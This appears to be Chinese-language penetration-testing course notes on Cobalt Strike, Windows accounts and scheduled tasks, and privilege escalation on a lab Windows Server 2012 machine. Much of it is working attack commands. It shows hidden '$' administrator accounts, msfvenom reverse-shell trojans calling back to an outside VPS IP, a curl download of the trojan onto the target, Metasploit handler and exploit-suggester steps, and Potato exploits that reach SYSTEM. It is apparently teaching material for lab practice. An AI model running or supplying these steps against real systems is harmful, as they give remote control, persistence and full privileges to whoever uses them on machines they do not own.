1. CobaltStrike
1.1 什么是CobaltStrike
- Cobalt Strike是一种针对网络攻击和渗透测试的工具套件,最初是由Raphael Mudge开发的。它被广泛使用于红队行动、渗透测试和攻击模拟等领域。拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具,因此广受技术大佬的喜爱。
- Cobalt Strike提供了一系列功能,包括社交工程、恶意软件传播、漏洞利用、远程控制、数据搜集和横向渗透等。它支持多种攻击技术,如Spear Phishing、水坑攻击、中间人攻击和无线网络攻击等。同时Cobalt Strike集成了端口转发、服务扫描,自动化溢出、多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,ofifice宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
- Cobalt Strike的特点之一是其灵活的协作功能。它允许多个渗透测试人员同时使用工具,共享资源和收集结果,以提高工作效率。适合多人进行团队协作,可模拟APT做模拟对抗,进行内网渗透。此外,Cobalt Strike还支持与Metasploit Framework集成,以加强攻击能力。
1.2 CobaltStrike启动
1.在服务器上先启动团队服务器(teamserver)
# 赋予服务器权限
chmod +x teamserver
chmod +x TeamServerImage
# 启动cs服务器
./teamserver 服务端IP 密码
启动参数 ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
- 必填参数
host
本服务器外网IP/域名 - 必填参数
password
Client GUI连接时需要输入的密码 - 可选参数
Malleable C2 communication profile
指定C2通信配置文件 该功能体现了CS的强大扩展性 - 可选参数
kill date
指定所有payload的终止日期
2. 成员登录需要输入连接信息,其中password为刚刚设置的密码。
- Alias: 随意,保持默认也行
- Host: 上面启动teamserver的服务器ip
- Port:默认是50050
- User:每个成员设置不同的用户名
- Password:服务器端启动时设置的密码
2. 用户组和用户、windows权限、计划任务
2.1 用户
Windows新建用户
计算机管理(Compmgmt.msc) --> 本地用户和组 --> 用户 --> 右键新用户
# 显示所有用户,不包括隐藏用户
net user
# 创建用户 (命令行创建用户,明文输入密码)
net user suyou pass /add # suyou是用户名
# 删除用户
net user suyou /del # suyou是用户名
# 隐藏用户 (在用户的后面加上$符号,隐藏用户用net user看不见)
net user suyou$ pass # net user 命令看不到这个用户,只用命令看不到
# 删除隐藏用户
1.命令行删除
net user suyou$ /del # suyou$是隐藏用户名
2.注册表删除
打开注册表编辑器(regedit)。在注册表中,找到并定位到隐藏用户的注册表项,然后进行删除。具体路径可能是HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names,在这里可以找到隐藏用户的注册表项,然后进行删除操作
2.2 用户组
# 新建用户组
net localgroup 技术部 /add
#广州除用户组
net localgroup 销售部 /del
# 添加用户到组
net localgroup 技术部 suyou /add
# 从组中删除用户
net localgroup 技术部 suyou /del
# 普通用户提权 (也即是将用户添加到管理员组中)
net localgroup administrator suyou /add
2.3 Windows权限
用户 | 用户组 | 权限 |
System | 系统组 | 拥有管理系统资源的权限,包括文件、目录和注册表等。 |
Administrators | 管理员组 | 具有对计算机进行完全访问和操作的权限。 |
Users | 用户组 | 一般用户的默认组别,拥有较低的系统权限。 |
Guests | 访客组 | 可以访问计算机上的公共文件夹和打印机,但不能更改配置和安装程序。 |
Backup Operators | 备份操作员组 | 允许用户备份和还原数据,但不能更改配置安装程序。 |
Power Users | 高级用户组 | 拥有比一般用户更高的系统权限,但比管理员组权限低。 |
Remote Desktop Users | 远程桌面用户组 | 允许用户进行远程桌面连接。 |
Network Configuration Operators | 网络配置操作员组 | 允许用户管理网络配置。 |
Performance Log Users | 性能日志用户组 | 允许用户收集性能日志和计数器数据。 |
Distributed COM Users | 分布式com用户组 | 允许用户使用分布式COM连接到计算机。 |
IIS_IUSRS | 用于授权IIS相关服务的用户组。 |
2.4 Windows计划任务
2.4.1 Windows计划任务
系统自带的计划任务是一款不可缺少的重要工具之一,我们可以通过计划任务自定义设置这行任务,比如运行软件,系统关机等
taskschd.msc
- 在管理工具界面,在右侧窗口找到并双击"任务计划程序"即可
2.4.2 schtasks命令
schtasks命令 eg:
schtasks /create /tn "My Daily Script" /tr W:\Users\asus\Desktop\1111.txt /sc daily /st 09:00 /rl HIGHEST /f
# 查询指定名称计划任务
schtasks /query | findstr "My Daily Script"
# 删除指定名称计划任务
schtasks /delete /tn "My Daily Script" /f
# 查询所有计划任务
schtasks /query
# 创建计划任务:/create
1.每天固定时间,以普通权限启动notepad.exe
schtasks /create /tn testservicel /sc daily /st 01:02 /tr notepad.exe
2.每天固定时间,以system权限启动notepad.exe
schtasks /create /tn testservice2 /sc daily /st 01:02 /tr notepad.exe /rl highest
# 查看计划任务:/query
schtasks /query /tn testservicel
# 修改计划任务:/change
schtasks /change /tn "testservicel" /st 14:00
# 删除计划任务:/delete
schtasks /delete /tn testservicel [f]
3. 手工提权思路,拿土豆提权
3.1 windows信息搜集命令
systeminfo | 打印系统信息 |
whoami | 获取当前用户名 |
whoami /priv | 当前账户权限 |
ipconfig | 网络配置信息 |
ipconfig /displaydns | 显示dns缓存 |
arp -a | 打印arp表 |
net user | 列出用户 |
net user username | 关于用户的信息 |
net localgroup | 列出所有组 |
net localgroup group | 关于指定组的信息 |
tasklist /svc | 列出进程列表 |
net start | 列出启动的服务 |
ver | 操作系统版本类型 |
3.2 手工提权
3.2.1 补丁筛选
GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation
使用方法:
在目标主机上执行systeminflo,复制输出信息到本机
在本机执行以下命令
python wes.py systeminfo.txt --color
python wes-py systeminfo.txt --color -i "Elevation of Privilege"
3.2.2 EXP获取方式
- https://github.com/Ascotbe/Kernelhub
- http://kernelhub.ascotbe.com/Windows/Docs/#/
- https://github.com/SecWiki/windows-kernel-exploits
- https://github.com/nomi-sec/PoC-in-GitHub
- https://gitlab.com/exploit-database/exploitdb
3.2.3 土豆家族
GodPotato | |
SweetPotato | |
BadPotato | |
RoguePotato | |
CandyPotato | |
EfsPotato | |
MultiPotato | |
RasmanPotato | |
PetitPotato | |
JuicyPotatoNG | |
PrintNotifyPotato | |
CoercedPotato | GitHub - Prepouce/CoercedPotato: A Windows potato to privesc |
3.2.4 PrintNotifyPotato提权
ps:只有这个土豆能提Windows server 2012的权限,其他的都不行。
所有的土豆都提不了本机的window10 专业版,看来还是安全的。
在Windows server 2012中运行PrintNotifyPotato.exe
输入命令:PrintNotifyPotato-NET46.exe whoami ,成功提权为system。
4. CS插件提权
Cobalt Strike的使用教程,插件安装以及提权
参考:[渗透工具——Cobalt Strike]-优快云博客
使用梼杌插件,对Windows server 2012 进行提权
ps:还是只能对Windows server 2012提权,window10还是提不了啊!
5. Metasploit提权
5.1 MSF安装
使用一句话命令安装:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
5.2 使用方法
# 进入框架:
msfconsole
# 使用search命令查找相关漏洞:
search ms17-010
# 使用use进入模块:
use exploit/windows/smb/ms17_010_eternalblue
# 使用info查看模块信息:
info
# 设置攻击载荷:
set payload windows/x64/meterpreter/reverse_tcp
# 查看模块需要配置的参数:
show options
# 设置参数:
set rhost 192.168.2.123(目标IP)
# 攻击:
run
# 正向shell lhost是受害主机ip, lport是受害机的端口
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.100.132 lport=6666 -f exe -o test.exe
# 反向shell lhost是我们的主机ip,lport是我们主机的用于监听的端口
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.132 lport=6666 -f exe -o test.exe #
5.3 加分项:MSF提权(win server 2012)
5.3.1 配置环境
- 阿里云vps(ubuntu),需安装MSF。
- Windows Server 2012(课上发的镜像)
5.3.2 生成木马
1. 在阿里云运行下面的命令
ps:LHOSH记得修改成自己的ip,LPORT修改成想要监听的端口。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.137.100.237 LPORT=6666 -f exe -o MSF.exe
5.3.3 监听木马
1. 在powershell中,通过curl将刚刚生成MSF.exe传入到要提权的Windows Server 2012中。
命令:curl http://8.137.100.237:8000/MSF.exe -OutFile MSF.exe
ps:也可以用u盘传。
2. 在MSF中依次输入下面的命令,开始监听。
# 1.使用指定模块
use exploit/multi/handler
# 2.配置参数
set payload windows/meterpreter/reverse_tcp # 配置监听TCP
set lport 6666 # 配置监听端⼝
set lhost 8.137.100.237 # 配置监听地址,你也可以设置监听本机地址如vps's ip
# 3.开始运行
run # 开始监听
3. 在win server 2012虚拟机中双击刚刚传过去的MSF.exe
,就可以建立会话。
4. 使用background 命令,将当前会话放置后台,然后在进行下面的操作。
ps:目的是回到模块中去,方便后面的操作。
5.3.4 找补丁
继续按顺序输入下面的命令:
# 1.使用指定模块
use post/windows/gather/enum_patches # 设置提权模块(找补丁)
# 2.查看参数
options
# 3.配置参数
set session 1 # 设置编号,也就是刚才建立的会话号,可以使用命令sessions查看当前已有的会话
# 4.开始收集
run
结果显示,什么补丁都没有,说明目标机器没有安装补丁。
5.3.5 找漏洞
1. 继续按顺序输入下面的命令:
# 1.使用指定模块
use post/multi/recon/local_exploit_suggester # 设置提权模块(找漏洞)
# 2.查看所需参数
options
# 3.配置参数
set session 1 #设置会话
# 4.开始检测
run
2. 查看上面的扫描结果,显示yes的就是可利用的漏洞。
5.3.6 根据扫描漏洞提权
1. 这里用上面的第6个漏洞进行提权 :exploit/windows/local/ms16_075_reflection_juicy
# 1.使用指定模块
use exploit/windows/local/ms16_075_reflection_juicy
# 2.查看参数
options
# 配置参数
set session 1
set lhost 0.0.0.0
set lport 6666
# 3.开始提权
run
可以看到扫描结果没有创建会话,提权失败!
2. 所以我们得换个思路:直接上土豆。
# 1.进入1号会话
sessions -1
# 2.上传土豆
upload /tools/tomato/PrintNotifyPotato-NET46.exe 1.exe # 第一个路径是土豆路径,第二个是上传后的文件名
# 3.进入1号会话的命令行
shell
# 4.在目标机器执行上传的土豆
1.exe whoami # 这个是这个土豆的使用方法 1.exe 命令
可以看到,最后提权。
ps:还得是土豆啊!